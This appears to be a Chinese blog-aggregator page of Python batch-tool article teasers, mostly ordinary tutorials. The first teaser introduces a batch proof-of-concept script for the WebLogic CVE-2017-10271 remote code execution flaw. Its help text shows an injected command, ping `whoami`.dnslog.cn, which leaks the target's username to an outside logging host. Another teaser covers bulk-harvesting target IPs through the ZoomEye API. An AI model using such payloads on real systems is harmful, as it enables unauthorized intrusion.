【Python】CVE-2017-10271批量自查POC(Weblogic RCE)

【【Python】CVE-2017-10271批量自查POC(Weblogic RCE)】的更多相关文章

【Python】CVE-2017-10271批量自查POC(Weblogic RCE)

1.说明看到大家对weblogic漏洞这么热衷,于是也看看这个漏洞的测试方式. 找了几个安全研究员的博客分析,经过几天的摸索大体清楚漏洞由XMLDecoder的反序列化产生. 漏洞最早4月份被发现,10月份的漏洞是由于官方修复不完善导致被绕过. 嗯,又学习了很多知识. 2.批量测试脚本 # -*- coding: UTF-8 -*- import requests,sys,os help = ''' eg:CVE-2017-10271.py "ping \`whoami\`.dnslog.cv…

python操作数据库之批量导入

python操作数据库之批量导入 Python语法简洁清晰,特色之一是强制用空白符(white space)作为语句缩进. Python具有丰富和强大的库.它常被昵称为胶水语言,能够把用其他语言制作的各种模块(尤其是C/C++)很轻松地联结在一起.常见的一种应用情形是,使用Python快速生成程序的原型(有时甚至是程序的最终界面),然后对其中[3] 有特别要求的部分,用更合适的语言改写,比如3D游戏中的图形渲染模块,性能要求特别高,就可以用C/C++重写,而后封装为Python可以调用的扩展类库…

Python实现邮件的批量发送

Python实现邮件的批量发送 1 发送文本信息 '''加密发送文本邮件''' def sendEmail(from_addr,password,to_addr,smtp_server): try: msg = MIMEText('你好,来自信息化工程所的问候...', 'plain', 'utf-8') # 文本邮件 # msg = MIMEText('<html><body><h1>你好</h1>' + '<p>send by <a h…

Python之文件处理-批量修改md文档内容

目录 Python之文件处理-批量修改md文档内容 Python之文件处理-批量修改md文档内容 #!/usr/bin/env python # -*- coding:utf-8 -*- import os import re import time def modify_md_content(top): for root, dirs, files in os.walk(top, topdown=False): # 循环文件 for file_name in files: file_name_s…

TriAquae 是一款由国产的基于Python开发的开源批量部署管理工具

怀着鸡动的心情跟大家介绍一款国产开源运维软件TriAquae,轻松帮你搞定大部分运维工作!TriAquae 是一款由国产的基于Python开发的开源批量部署管理工具,可以允许用户通过一台控制端管理上千台远程Linux服务器,开发者根据多年运维经验以及运维工程师日常工作的需求开发了很多实用的功能,该工具非常实用,并且使用简单,分分钟即可完成安装并开始利用TriAquae管理你的网络,此软件还在不断的开发和更新,目前已实现以下功能: • 支持WEB界面,所有以以下功能均以在WEB界面上…

Python 写了一个批量生成文件夹和批量重命名的工具

Python 写了一个批量生成文件夹和批量重命名的工具目录 Python 写了一个批量生成文件夹和批量重命名的工具演示功能 1. 可以读取excel内容,使用excel单元格内容进行新建文件夹,和文件夹重命名 2. 可以自定义重命名 3. 等代码下载演示功能 1. 可以读取excel内容,使用excel单元格内容进行新建文件夹,和文件夹重命名 2. 可以自定义重命名 3. 等代码 import os from pathlib import Path import xlwings…

2017.11.7 Python 制作EFM32/ AVR批量烧录工具

Customer need program quickly asap. ok,I need to set up a table for test. 1 reference data http://www.cnblogs.com/tkinter/p/5632273.html https://github.com/laborer/stcflash 2install the software: Python 3programing jig with paba install You need the…

Python实战 :2017国考职业表excel转数据库，再查询生成excel

最近看2017年国考的职业表,多而杂,不好过滤我想要的信息,特此把它转成Sqlite3数据库,再从数据库里把查询结果导出成excel,方便找职业. (后附上整套代码) 环境:python2.7 xlrd :读excel的库 xlwt:写excel的库两个库都可以在:https://pypi.python.org 上搜索到. gk.xls:国考官网上下载的职业表数据一.excel转sqlite: 直接连接sql语句了,不用orm # -*- coding: utf-8 -*- import…

Python：使用pymssql批量插入csv文件到数据库测试

并行进程怎么使用? import os import sys import time def processFunc(i): time.sleep(10-i) print i if __name__=='__main__': from multiprocessing import Pool pool=Pool() for i in range(0,10): print i print '----------------split line-----------------' for i in r…

『Python』Python 调用 ZoomEye API 批量获取目标网站IP

#### 20160712 更新原API的访问方式是以 HTTP 的方式访问的,根据官网最新文档,现在已经修改成 HTTPS 方式,测试可以正常使用API了. 0x 00 前言 ZoomEye 的 API 在前几天正式对外部开发,这对网络渗透人员来说是一件开心的事可以说“妈妈再也不用担心批量测(x)试(zhan)没有资源了.” 官方的 API 帮助文档在下面: https://www.zoomeye.org/api/ 看了下,使用方法是先提交账户,密码获得一个唯一的访问令牌(access_t…